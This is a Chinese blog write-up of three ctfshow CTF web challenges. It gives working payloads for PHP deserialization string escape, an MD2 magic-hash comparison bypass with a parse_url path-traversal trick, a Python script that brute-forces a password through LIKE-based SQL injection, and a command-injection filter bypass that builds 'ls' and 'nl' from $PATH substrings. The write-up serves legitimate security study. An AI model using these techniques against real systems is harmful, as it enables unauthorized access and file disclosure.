ctfshow web篇月饼杯

文章介绍了三个CTF挑战,涉及反序列化漏洞利用、MD2哈希碰撞和SQL注入等技术。在第一个挑战中,通过字符逃逸构造序列化payload获取flag。第二个挑战中,利用MD2哈希碰撞找到b和c的值,并构造URL绕过限制获取flag。第三个挑战通过环境变量和Linux命令执行读取flag.php的内容。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

web1_此夜圆

  • 下载并打开index.php;
<?php
error_reporting(0);

class a{
	public $uname;
	public $password;
	public function __construct($uname,$password){
		$this->uname=$uname;
		$this->password=$password;
	}
	public function __wakeup(){
			if($this->password==='yu22x'){
				include('flag.php');
				echo $flag;	
			}
			else{
				echo 'wrong password';
			}
		}
	}
function filter($string){
    return str_replace('Firebasky','Firebaskyup',$string);
}

$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>
  • 通过审计代码发现是反序列化,看到str_replace('Firebasky','Firebaskyup',$string);才反应过来,原来是反序列化字符串逃逸,分析一下大概意思就是当序列化结果里有Firebasky是,会被替换为Firebaskyup,多了两个字符;

在这里插入图片描述

  • 根据代码我们可以知道,当password==="yu22x"时,可以输出flag,构造序列化;

在这里插入图片描述

  • 我们需要逃逸的字符串是";s:8:"password";s:5:"yu22x";},通过strlen函数得出该逃逸字符串长度为30,由于str_replace替换会多出两个字符,而需要逃逸的字符串有30个,所以需要构造15个Firebasky来进行逃逸;(注:"是为了闭合前面)
<?php
class a{
	public $uname='FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}';
	public $password=1;
}

$ser=serialize(new a());
$test=str_replace('Firebasky','Firebaskyup',$ser); 
echo $test;

//结果: O:1:"a":2:{s:5:"uname";s:174:"FirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyup";s:8:"password";s:5:"yu22x";}";s:8:"password";i:1;}
  • 反序列化时执行到第一个}就会结束反序列化,所以成功将";s:8:"password";s:5:"yu22x";}写进去了,构造payload,成功拿到flag;

Payload

	?1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}

在这里插入图片描述

如果还有不太理解字符逃逸的小伙伴,还可以参考一下这篇文章的字符逃逸哟;

web2_故人心

  • 打开发现还是一道代码审计题;
<?php
error_reporting(0);
highlight_file(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
$url[1]=$_POST['url'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){
    $d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
    if($d){
             highlight_file('hint.php');
             if(filter_var($url[1],FILTER_VALIDATE_URL)){
                $host=parse_url($url[1]);
                print_r($host); 
                if(preg_match('/ctfshow\.com$/',$host['host'])){
                    print_r(file_get_contents($url[1]));
                }else{
                    echo '差点点就成功了!';
                }
            }else{
                echo 'please give me url!!!';
            }     
    }else{
        echo '想一想md5碰撞原理吧?!';
    }
}else{
    echo '第一个都过不了还想要flag呀?!';
}
  • 分析代码发现,需要绕过4个参数,先尝试绕过a,通过is_numeric函数检测$a的值,其次长度不能大于7,且a和a的平方都不能为0;

      绕过a: a=1e-162	//1e-162=1x10^(-162); 尝试后发现只要在-323到-162之间的都可以绕过;
    
  • 继续绕过b和c,在题目处发现了存在robots.txt,访问一下;

User=agent: *
Disallow:
Disallow: hinthint.txt

  • 访问hinthint.txt;

Is it particularly difficult to break MD2?!
I’ll tell you quietly that I saw the payoad of the author.
But the numbers are not clear.have fun~~~~
xxxxx024452 hash(“md2”,$b)
xxxxxx48399 hash(“md2”,hash(“md2”,$b))

  • 根据特性我们知道前面两个字符应该是0e,使用脚本得出b和c的值;
<?php
for ($i=100;$i<999;$i++){
    $b = "0e".$i."024452";
    if($b==hash("md2", $b)){
        echo $b;
    }
}
//b=0e652024452
echo "\n";
for ($i=1000;$i<9999;$i++){
    $c = "0e".$i."48399";
    if($c==hash("md2",hash("md2", $c))){
        echo $c;
    }
}
//c=0e603448399
	绕过b,c: b=0e652024452 c=0e603448399
  • 最后绕过url,由于完成了前面两个的绕过,所以提示我们flag在fl0g.txt中,分析代码发现是正则匹配,host中必须有ctfshow.com,尝试构造url=http://ctfshow.com/../../../../../fl0g.txt发现失败了,后来发现当php遇到不认识的协议就会当目录处理,所以构造;

Payload

	绕过url: url=Joker://ctfshow.com/../../../../../fl0g.txt
  • 输入4个参数值,成功拿到flag;

在这里插入图片描述

web3_莫负婵娟

  • 打开看到用户登录,右击查看源代码发现用户名和查询密码的sql语句;

在这里插入图片描述

	SELECT * FROM users where username like binary('$username') and password like binary('$password')
  • 猜测是like注入,like模糊查询可以使用%匹配多个字符,_匹配单个字符,测试后发现%被过滤了,使用_得出密码长度为32位,使用python脚本爆破出密码;
import requests

a="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
url = 'http://27b42a42-84f7-48a3-9c89-98ee4555daab.challenge.ctf.show/login.php' #需要修改处;
pwd = ''
for i in range(32):
    print('i = '+str(i+1),end='\t')
    for j in a:
        password = pwd + j + (31 - i) * '_'
        data = {'username':'yu22x','password':password}
        r = requests.post(url,data=data)
        if 'wrong' not in r.text:
             pwd += j
             print(pwd)
             break
	爆破出密码为: 67815b0c009ee970fe4014abaa3Fa6A0
  • 成功登录后,进入到下一关,发现是命令执行,尝试后发现把所有小写字母都ban了;

在这里插入图片描述

  • 根据提示可知:环境变量 + linux字符串截取 + 通配符,想到可以利用Linux的环境变量PATH来构造小写字母执行命令;

For example

在这里插入图片描述

  • 输入127.0.0.1;${PATH:5:1}${PATH:2:1}查询,也就是相当于执行ls命令;

在这里插入图片描述

  • 接下来需要读取flag.php,但是发现环境变量中没有t,查找资料后发现可以使用cat的兄弟,也就是nl命令来读取flag,其中nl在环境变量中为${PATH:14:1}${PATH:5:1},因为小写字母都被过滤了,但是通配符?没有,使用????.???来代替flag.php ,执行后发现没看到flag就离谱;

在这里插入图片描述

  • 一顿卧槽后,查看源代码后发现flag;

在这里插入图片描述
以上内容就是ctfshow web篇月饼杯的学习笔记,如有还不太理解或有其他想法的小伙伴们都可以私信我或评论区打出来哟,如有写的不好的地方也请大家多多包涵一下,我也会慢慢去改进和提高的,请各位小伙伴多多支持,走之前别忘了点个赞哟😁!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值